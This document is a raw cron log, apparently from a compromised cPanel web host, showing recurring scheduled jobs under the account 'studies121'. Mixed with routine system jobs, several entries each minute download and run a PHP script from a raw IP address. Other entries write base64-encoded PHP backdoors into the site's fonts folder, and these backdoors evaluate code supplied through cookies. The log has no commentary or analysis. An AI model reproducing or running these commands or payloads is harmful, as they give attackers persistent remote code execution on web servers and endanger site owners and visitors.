Sep  9 11:26:01 ip-184-168-122-23 CROND[6084]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:26:01 ip-184-168-122-23 CROND[6087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:26:01 ip-184-168-122-23 CROND[6086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:26:01 ip-184-168-122-23 CROND[6088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:26:01 ip-184-168-122-23 CROND[6089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:27:01 ip-184-168-122-23 CROND[6206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:27:01 ip-184-168-122-23 CROND[6208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:27:01 ip-184-168-122-23 CROND[6209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:27:01 ip-184-168-122-23 CROND[6210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:28:01 ip-184-168-122-23 CROND[6310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:28:01 ip-184-168-122-23 CROND[6313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:28:01 ip-184-168-122-23 CROND[6312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:28:01 ip-184-168-122-23 CROND[6315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:28:01 ip-184-168-122-23 CROND[6316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:29:01 ip-184-168-122-23 CROND[6438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:29:01 ip-184-168-122-23 CROND[6440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:29:01 ip-184-168-122-23 CROND[6442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:29:01 ip-184-168-122-23 CROND[6441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:30:01 ip-184-168-122-23 CROND[6639]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 11:30:02 ip-184-168-122-23 CROND[6642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:30:02 ip-184-168-122-23 CROND[6643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:30:02 ip-184-168-122-23 CROND[6646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:30:02 ip-184-168-122-23 CROND[6648]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:30:02 ip-184-168-122-23 CROND[6649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:30:02 ip-184-168-122-23 CROND[6651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:30:02 ip-184-168-122-23 CROND[6653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:31:01 ip-184-168-122-23 CROND[6797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:31:01 ip-184-168-122-23 CROND[6798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:31:01 ip-184-168-122-23 CROND[6800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:31:01 ip-184-168-122-23 CROND[6801]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 11:31:01 ip-184-168-122-23 CROND[6799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:32:01 ip-184-168-122-23 CROND[6924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:32:01 ip-184-168-122-23 CROND[6927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:32:01 ip-184-168-122-23 CROND[6926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:32:01 ip-184-168-122-23 CROND[6929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:32:01 ip-184-168-122-23 CROND[6928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:33:01 ip-184-168-122-23 CROND[7043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:33:01 ip-184-168-122-23 CROND[7045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:33:01 ip-184-168-122-23 CROND[7048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:33:01 ip-184-168-122-23 CROND[7047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:34:01 ip-184-168-122-23 CROND[7188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:34:01 ip-184-168-122-23 CROND[7190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:34:01 ip-184-168-122-23 CROND[7192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:34:01 ip-184-168-122-23 CROND[7191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:34:01 ip-184-168-122-23 CROND[7193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:35:01 ip-184-168-122-23 CROND[7392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:35:01 ip-184-168-122-23 CROND[7399]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 11:35:01 ip-184-168-122-23 CROND[7398]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:35:01 ip-184-168-122-23 CROND[7397]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 11:35:01 ip-184-168-122-23 CROND[7395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:35:01 ip-184-168-122-23 CROND[7396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:35:01 ip-184-168-122-23 CROND[7400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:35:01 ip-184-168-122-23 CROND[7393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:36:01 ip-184-168-122-23 CROND[7516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:36:01 ip-184-168-122-23 CROND[7517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:36:01 ip-184-168-122-23 CROND[7518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:36:01 ip-184-168-122-23 CROND[7519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:36:01 ip-184-168-122-23 CROND[7521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:37:01 ip-184-168-122-23 CROND[7643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:37:01 ip-184-168-122-23 CROND[7645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:37:01 ip-184-168-122-23 CROND[7646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:37:01 ip-184-168-122-23 CROND[7647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:38:01 ip-184-168-122-23 CROND[7756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:38:01 ip-184-168-122-23 CROND[7758]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:38:01 ip-184-168-122-23 CROND[7759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
